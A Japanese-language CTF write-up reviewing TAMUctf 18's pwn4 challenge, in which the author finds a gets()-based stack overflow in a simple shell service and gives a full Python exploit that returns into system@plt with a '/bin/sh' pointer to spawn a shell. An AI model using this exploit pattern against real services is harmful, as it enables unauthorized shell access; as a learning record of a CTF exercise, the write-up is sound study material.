TAMUctf 18 [pwn 125] pwn4 復習
先日参加したTAMUctf 18のpwn4とpwn5が解けなかったので復習。 今回はそのうちのpwn4について。
簡易シェルのサービスが提供されている。
1~5の数字もしくはコマンド名を入力することで、system
関数を通じてその結果を表示するものだった。
雑にデコンパイルすると、以下のようになった。
sub_080485ef_reduced_shell(){ //stack := 0x28 puts("I am a reduced online shell"); puts("Your options are :"); puts("1. ls\n2. cal\n3. pwd\n4. whoami\n5. exit"); printf("Input > "); gets(ebp-0x1c); if(strcmp(ebp-0x1c,"ls") == 0 || strcmp(ebp-0x1c,"1") == 0){ ls(); } else if(strcmp(ebp-0x1c,"cal") == 0 || strcmp(ebp-0x1c,"2") == 0){ cal(); } else if(strcmp(ebp-0x1c,"pwd") == 0 || strcmp(ebp-0x1c,"3") == 0){ pwd(); } else if(strcmp(ebp-0x1c,"whoami") == 0 || strcmp(ebp-0x1c,"4") == 0){ whoami(); } else if(strcmp(ebp-0x1c,"exit") == 0 || strcmp(ebp-0x1c,"5") == 0){ exit(0x0); } else{ puts("Unkown Command"); putchar('\n'); } }
この部分がユーザ入力の比較になっていて、入力した値によって以下のような処理が実行される。
(例はwhoami
もしくは4
が入力された場合)
sub_080485d6_whoami(){ system("whoami"); }
ebp-0x1c
に対してユーザ入力を受け付けているが、その際に使用している関数がgets
となっている。
つまり、スタックBOFの脆弱性がある。
さらに、このバイナリには/bin/sh
の文字列が仕込まれていた。
$ strings -tx -a pwn4 | grep "/bin/sh" 1038 /bin/sh
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1 ... [24] .got.plt PROGBITS 0804a000 001000 000030 04 WA 0 0 4 [25] .data PROGBITS 0804a030 001030 000010 00 WA 0 0 4 [26] .bss NOBITS 0804a040 001040 000008 00 WA 0 0 4
加えて、plt
領域のsystem
関数のアドレスは0x08048430
となっていた。
... 08048430 <system@plt>: 8048430: jmp DWORD PTR ds:0x804a01c 8048436: push 0x20 804843b: jmp 80483e0 <.plt> ...
system
関数で/bin/sh
を起動して、シェル上でフラグを読み込むのが正解らしい。
以下の点を踏まえてexploitコードを書いてみる。
スタックBOFがあり、
ebp-0x1c
の領域から読み込まれている/bin/sh
は0x804a038
の場所にある.data
のAddrの値 + (/bin/sh
のオフセット -.data
のオフセット) = 0x0804a030 + (0x1038 - 0x1030) = 0x804a038
system
関数は0x08048430
の場所にある
import socket import struct import telnetlib def main(): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("localhost",12345)) s.recv(1024) system_addr = 0x08048430 # system binsh_addr = 0x0804a038 # "/bin/sh" addr buf = 'A' * 0x1c # buf buf += 'AAAA' # saved ebp buf += struct.pack("<I",system_addr) buf += 'AAAA' # return address (no meaning) buf += struct.pack("<I",binsh_addr) buf += "\n" s.send(buf) print("[+] GOT SHELL!") t = telnetlib.Telnet() t.sock = s t.interact() if __name__ == '__main__': main()
図で示すとこんな感じになる。
[ebp-0x1c] AAAA [ebp-0x18] AAAA [ebp-0x14] AAAA [ebp-0x10] AAAA [ebp-0x0c] AAAA [ebp-0x08] AAAA [epb-0x04] AAAA [ebp-0x00] AAAA <= saved ebp [ebp+0x04] (system) <= リターンアドレス [ebp+0x08] AAAA <= system関数からのリターンアドレス [ebp+0x0c] (/bin/sh) <= system関数への引数
実行してみると、/bin/sh
が起動していることが分かる。
$ python exploit.py [+] GOT SHELL! Unkown Command id uid=1000(happynote3966) gid=1000(happynote3966) groups=1000(happynote3966)...
あとはフラグをcat
コマンドなどで読み取るだけ。
反省
競技時間中にpwn4ができなくて躓いていた。
どうやらアドレスを正確に指定しなかったために/bin/sh
が起動できなかったらしい。
焦らずにちゃんと値を確認する癖をつけたい。